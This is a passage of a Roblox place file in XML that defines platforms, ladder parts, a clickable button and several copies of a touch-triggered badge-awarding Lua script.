					<Vector3 name="size">
						<X>10</X>
						<Y>1.20000005</Y>
						<Z>10</Z>
					</Vector3>
				</Properties>
				<Item class="Decal" referent="RBX1510">
					<Properties>
						<bool name="Archivable">true</bool>
						<token name="Face">1</token>
						<string name="Name">Decal</string>
						<float name="Shiny">20</float>
						<float name="Specular">0</float>
						<Content name="Texture"><url>http://www.roblox.com/asset/?id=52611821</url></Content>
						<float name="Transparency">0</float>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX1511">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><url>http://www.roblox.com/asset/?id=13326026</url></Content>
						<string name="Name">BadgeAwarderScript</string>
						<ProtectedString name="Source">print(&quot;Badge Awarder Loaded. BadgeID: &quot; .. script.Parent.BadgeID.Value)



-- ROBLOX scripter hackers, see what you can do with this:
-- game:GetService(&quot;BadgeService&quot;):UserHasBadge(userid, badgeid)


function OnTouch(part)
	if (part.Parent:FindFirstChild(&quot;Humanoid&quot;) ~= nil) then
		local p = game.Players:GetPlayerFromCharacter(part.Parent)
		if (p ~= nil) then
			print(&quot;Awarding BadgeID: &quot; ..script.Parent.BadgeID.Value .. &quot; to UserID: &quot; .. p.userId)
			local b = game:GetService(&quot;BadgeService&quot;)
			b:AwardBadge(p.userId, script.Parent.BadgeID.Value)
		end
	end
end

script.Parent.Touched:connect(OnTouch)
</ProtectedString>
					</Properties>
				</Item>
				<Item class="IntValue" referent="RBX1512">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">BadgeID</string>
						<int name="Value">52611883</int>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Model" referent="RBX1513">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">BadgeAwarder</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Part" referent="RBX1514">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">2</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">2</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1003</int>
					<CoordinateFrame name="CFrame">
						<X>-150</X>
						<Y>27.8000011</Y>
						<Z>240</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">2</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">2</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Platform</string>
					<float name="Reflectance">1</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">2</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">2</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>10</X>
						<Y>1.20000005</Y>
						<Z>10</Z>
					</Vector3>
				</Properties>
				<Item class="Decal" referent="RBX1515">
					<Properties>
						<bool name="Archivable">true</bool>
						<token name="Face">1</token>
						<string name="Name">Decal</string>
						<float name="Shiny">20</float>
						<float name="Specular">0</float>
						<Content name="Texture"><url>http://www.roblox.com/asset/?id=52611821</url></Content>
						<float name="Transparency">0</float>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX1516">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><url>http://www.roblox.com/asset/?id=13326026</url></Content>
						<string name="Name">BadgeAwarderScript</string>
						<ProtectedString name="Source">print(&quot;Badge Awarder Loaded. BadgeID: &quot; .. script.Parent.BadgeID.Value)



-- ROBLOX scripter hackers, see what you can do with this:
-- game:GetService(&quot;BadgeService&quot;):UserHasBadge(userid, badgeid)


function OnTouch(part)
	if (part.Parent:FindFirstChild(&quot;Humanoid&quot;) ~= nil) then
		local p = game.Players:GetPlayerFromCharacter(part.Parent)
		if (p ~= nil) then
			print(&quot;Awarding BadgeID: &quot; ..script.Parent.BadgeID.Value .. &quot; to UserID: &quot; .. p.userId)
			local b = game:GetService(&quot;BadgeService&quot;)
			b:AwardBadge(p.userId, script.Parent.BadgeID.Value)
		end
	end
end

script.Parent.Touched:connect(OnTouch)
</ProtectedString>
					</Properties>
				</Item>
				<Item class="IntValue" referent="RBX1517">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">BadgeID</string>
						<int name="Value">52611883</int>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1518">
			<Properties>
				<bool name="Anchored">false</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">2</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">2</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">194</int>
				<CoordinateFrame name="CFrame">
					<X>-1598.5</X>
					<Y>1.79999995</Y>
					<Z>43.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">2</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">2</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">512</token>
				<string name="Name">LadderCross</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">2</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.000119591765</X>
					<Y>-1.06147667e-007</Y>
					<Z>-1.84821693e-006</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">2</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-1.26357518e-005</X>
					<Y>0.000136319839</Y>
					<Z>0.000392008806</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>5</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1519">
			<Properties>
				<bool name="Anchored">false</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">2</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">2</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">194</int>
				<CoordinateFrame name="CFrame">
					<X>-1598.5</X>
					<Y>4.19999981</Y>
					<Z>43.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">2</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">2</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">512</token>
				<string name="Name">LadderCross</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">2</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.000119591765</X>
					<Y>-1.06147667e-007</Y>
					<Z>-1.84821693e-006</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">2</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-8.20003152e-006</X>
					<Y>0.000136319839</Y>
					<Z>0.000104988583</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>5</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Model" referent="RBX1520">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">BadgeAwarder</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Part" referent="RBX1521">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">2</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">2</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1003</int>
					<CoordinateFrame name="CFrame">
						<X>-1712</X>
						<Y>27.8000011</Y>
						<Z>29</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">2</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">2</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Platform</string>
					<float name="Reflectance">1</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">2</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">2</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>10</X>
						<Y>1.20000005</Y>
						<Z>10</Z>
					</Vector3>
				</Properties>
				<Item class="Decal" referent="RBX1522">
					<Properties>
						<bool name="Archivable">true</bool>
						<token name="Face">1</token>
						<string name="Name">Decal</string>
						<float name="Shiny">20</float>
						<float name="Specular">0</float>
						<Content name="Texture"><url>http://www.roblox.com/asset/?id=52611821</url></Content>
						<float name="Transparency">0</float>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX1523">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><url>http://www.roblox.com/asset/?id=13326026</url></Content>
						<string name="Name">BadgeAwarderScript</string>
						<ProtectedString name="Source">print(&quot;Badge Awarder Loaded. BadgeID: &quot; .. script.Parent.BadgeID.Value)



-- ROBLOX scripter hackers, see what you can do with this:
-- game:GetService(&quot;BadgeService&quot;):UserHasBadge(userid, badgeid)


function OnTouch(part)
	if (part.Parent:FindFirstChild(&quot;Humanoid&quot;) ~= nil) then
		local p = game.Players:GetPlayerFromCharacter(part.Parent)
		if (p ~= nil) then
			print(&quot;Awarding BadgeID: &quot; ..script.Parent.BadgeID.Value .. &quot; to UserID: &quot; .. p.userId)
			local b = game:GetService(&quot;BadgeService&quot;)
			b:AwardBadge(p.userId, script.Parent.BadgeID.Value)
		end
	end
end

script.Parent.Touched:connect(OnTouch)
</ProtectedString>
					</Properties>
				</Item>
				<Item class="IntValue" referent="RBX1524">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">BadgeID</string>
						<int name="Value">52611883</int>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1525">
			<Properties>
				<bool name="Anchored">false</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">2</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">2</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">194</int>
				<CoordinateFrame name="CFrame">
					<X>-1596.5</X>
					<Y>3</Y>
					<Z>43.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">2</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">2</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">512</token>
				<string name="Name">LadderMiddle</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">2</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.000119591765</X>
					<Y>-1.06147667e-007</Y>
					<Z>-1.84821693e-006</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">2</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-1.04178916e-005</X>
					<Y>0.00013262342</Y>
					<Z>0.000248710974</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1526">
			<Properties>
				<bool name="Anchored">false</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">2</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">2</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">194</int>
				<CoordinateFrame name="CFrame">
					<X>-1600.5</X>
					<Y>3</Y>
					<Z>43.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">2</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">2</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">512</token>
				<string name="Name">LadderMiddle</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">2</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.000119591765</X>
					<Y>-1.06147667e-007</Y>
					<Z>-1.84821693e-006</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">2</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-1.04178916e-005</X>
					<Y>0.000140016258</Y>
					<Z>0.000248286378</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1527">
			<Properties>
				<bool name="Anchored">false</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">2</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">2</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">194</int>
				<CoordinateFrame name="CFrame">
					<X>-1596.5</X>
					<Y>7.80000019</Y>
					<Z>43.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">2</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">2</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">512</token>
				<string name="Name">LadderMiddle</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">2</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.000119591765</X>
					<Y>-1.06147667e-007</Y>
					<Z>-1.84821693e-006</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">2</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-1.54645033e-006</X>
					<Y>0.000132623391</Y>
					<Z>-0.000325329514</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1528">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">194</int>
				<CoordinateFrame name="CFrame">
					<X>-1603</X>
					<Y>3.79999995</Y>
					<Z>36.5</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>-0</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1056</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>24</X>
					<Y>6</Y>
					<Z>7</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1529">
			<Properties>
				<bool name="Anchored">false</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">2</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">2</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">194</int>
				<CoordinateFrame name="CFrame">
					<X>-1600.5</X>
					<Y>7.80000019</Y>
					<Z>43.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">2</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">2</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">512</token>
				<string name="Name">LadderMiddle</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">2</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.000119591765</X>
					<Y>-1.06147667e-007</Y>
					<Z>-1.84821693e-006</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">2</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-1.54645033e-006</X>
					<Y>0.000140016258</Y>
					<Z>-0.00032575411</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1530">
			<Properties>
				<bool name="Anchored">false</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">2</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">2</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">194</int>
				<CoordinateFrame name="CFrame">
					<X>-1596.5</X>
					<Y>5.4000001</Y>
					<Z>43.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">2</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">2</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">512</token>
				<string name="Name">LadderMiddle</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">2</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.000119591765</X>
					<Y>-1.06147667e-007</Y>
					<Z>-1.84821693e-006</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">2</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-5.98217093e-006</X>
					<Y>0.00013262342</Y>
					<Z>-3.83092702e-005</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Model" referent="RBX1531">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Part" referent="RBX1532">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">104</int>
					<CoordinateFrame name="CFrame">
						<X>-1619</X>
						<Y>7</Y>
						<Z>48</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">2</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Button1</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>0.400000006</Y>
						<Z>4</Z>
					</Vector3>
				</Properties>
				<Item class="ClickDetector" referent="RBX1533">
					<Properties>
						<bool name="Archivable">true</bool>
						<float name="MaxActivationDistance">100</float>
						<string name="Name">ClickDetector</string>
					</Properties>
				</Item>
				<Item class="Fire" referent="RBX1534">
					<Properties>
						<bool name="Archivable">true</bool>
						<Color3 name="Color">4294948864</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Fire</string>
						<Color3 name="SecondaryColor">4294901760</Color3>
